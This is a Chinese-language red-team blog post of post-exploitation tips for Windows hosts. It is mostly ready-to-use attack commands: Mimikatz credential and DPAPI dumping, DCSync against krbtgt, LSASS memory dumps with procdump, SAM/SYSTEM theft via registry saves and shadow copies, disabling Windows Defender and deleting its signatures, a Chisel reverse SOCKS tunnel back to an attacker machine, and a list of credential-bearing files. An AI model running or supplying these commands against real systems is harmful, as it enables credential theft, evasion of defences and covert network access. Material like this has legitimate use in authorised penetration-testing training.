红队笔记 |后渗透小tips

来源:Khan安全攻防实验室

第一部分

LSASS保护

LSASS 被配置为作为受保护进程 (PPL) 运行,您可以使用 PowerShell 进行查询。


        
            

          Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" 
        
      

如果是这种情况,您不能只是转储或解析 LSASS,您需要使用类似mimidrv.sys,PPLDump等

使用 Mimikatz 转储操作系统凭据


          
# Dump logon passwords
          
sekurlsa::logonpasswords
          

          
# Dump all domain hashes from a DC
          
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
          
lsadump::lsa /patch
          

          
# Dump only local users
          
lsadump::sam
          

          
# DCSync (requires 'ldap' SPN)
          
lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com
          

          
# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
          
vault::list
          
vault::cred /patch
      

使用 Mimikatz 滥用数据保护 API (DPAPI)

Mimikatz 有相当多的功能可以访问 Windows 的 DPAPI,它用于加密许多凭据,例如浏览器密码。

需要注意的是Mimikatz会自动缓存主密钥,有高速缓存dpapi::cache,但是这确实不是如果没有Mimikatz会话持续工作(如钴攻击或使用时Invoke-Mimikatz)


          
# Find the IDs of protected secrets for a specific user
          
dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials
          

          
# Get information, including the used master key ID, from a specific secret (take the path from above)
          
dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3
          

          
# IF YOU ARE PRIVILEGED
          
# Dump all master keys from the current system
          
sekurlsa::dpapi
          

          
# IF YOU ARE NOT PRIVILEGED (session as target user required)
          
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
          
dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
          

          
# Decrypt the secret using the retrieved master key
          
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
          
dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
      

LSASS

运行Mimikatz的首选方式是在本地进行,并从目标机上转储LSASS内存的副本。Dumpert、Procdump或其他(自定义)工具可用于转储LSASS内存。


          
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
          
.\procdump.exe -r -ma lsass.exe lsass.dmp
      

在我们的攻击系统上下载内存转储文件后,我们可以运行Mimikatz并切换到 "Minidump "模式,以解析该文 件,如下所示。在此之后,我们可以像往常一样运行Mimikatz的凭证检索命令。


        
            

          sekurlsa::minidump lsass.dmp
        
      

从注册表中转储

我们可以从注册表中转储机密并“离线”解析文件以获取系统列表。


          
reg.exe save hklm\sam c:\users\public\downloads\sam.save
          
reg.exe save hklm\system c:\users\public\downloads\system.save
          
reg.exe save hklm\security c:\users\public\downloads\security.save
      

然后在我们的攻击箱上,我们可以使用 Impacket 转储


        
            

          impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
        
      

从卷影副本Volume Shadow中转储

我们还可以创建SAM和SYSTEM文件的“卷影副本” (它们始终锁定在当前系统上)因此我们仍然可以将它们复制到我们的本地系统,为此需要提升提示。


          
wmic shadowcopy call create Volume='C:\'
          
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
          
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system3
      

第二部分

禁用Defender

禁用AV/EDR产品在实践中绝不是一个好主意,最好的办法是绕过它。所有这些命令都需要本地管理权限。


          
# Disable realtime monitoring altogether
          
Set-MpPreference -DisableRealtimeMonitoring $true
          

          
# Only disables scanning for downloaded files or attachments
          
Set-MpPreference -DisableIOAVProtection $true
      

添加一个排除目录


        
            

          Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads\SuperLegitDownloadDirectory"
        
      

或者你可以让Defender处于启用状态,只是从它那里删除所有病毒签名。


        
            

          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        
      

Chisel代理服务

如果你需要在被攻击的Windows机器上代理流量,Chisel是一个不错的选择。Chisel允许端口转发,但我最喜欢的技术是在目标机器上设置一个反向SOCKS代理,允许你在目标系统上对任何流量进行隧道传输。

在我们的攻击机器上(本例中为Linux),我们以反向SOCKS5模式在80端口启动一个Chisel服务器。


        
            

          sudo ./chisel server -p 80 --reverse --socks5
        
      

在我们被攻击的目标系统上,我们连接到这个服务器,并告诉它通过反向SOCKS5隧道代理所有流量。


        
            

          .\chisel.exe client 192.168.49.67:80 R:socks
        
      

现在在我们的Linux机器的1080端口上打开了一个代理。我们现在可以使用例如ProxyChains来在目标系统上建立隧道。

Juicy files

有很多文件可能包含有趣的信息,像WinPEAS这样的工具或像PowerSploit这样的合集可能有助于识别文件。

下面是我遇到的一些相关文件的清单、根据机器上安装的程序和/或服务来检查文件。


          
# All user folders
          
## Limit this command if there are too many files ;)
          
tree /f /a C:\Users
          

          
# Web.config
          
C:\inetpub\www*\web.config
          

          
# Unattend files
          
C:\Windows\Panther\Unattend.xml
          

          
# RDP config files
          
C:\ProgramData\Configs\
          

          
# Powershell scripts/config files
          
C:\Program Files\Windows PowerShell\
          

          
# PuTTy config
          
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty
          

          
# FileZilla creds
          
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml
          

          
# Jenkins creds (also check out the Windows vault, see above)
          
C:\Program Files\Jenkins\credentials.xml
          

          
# WLAN profiles
          
C:\ProgramData\Microsoft\Wlansvc\Profiles*.xml
          

          
# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
          
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password
          

      

此外,别忘了用sqlcmd或Invoke-SqlCmd来列举任何本地数据库!

历史文章推荐:

域用户密码爆破研究

渗透测试中的提权思路(详细!)

干货|文件上传绕过思路拓展

内网信息收集总结

PHP无回显渗透测试总结

一些webshell免杀的技巧

XSS 实战思路总结

一种后渗透阶段权限维持方法

内网渗透之域渗透命令执行总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
评论
未登录
暂无评论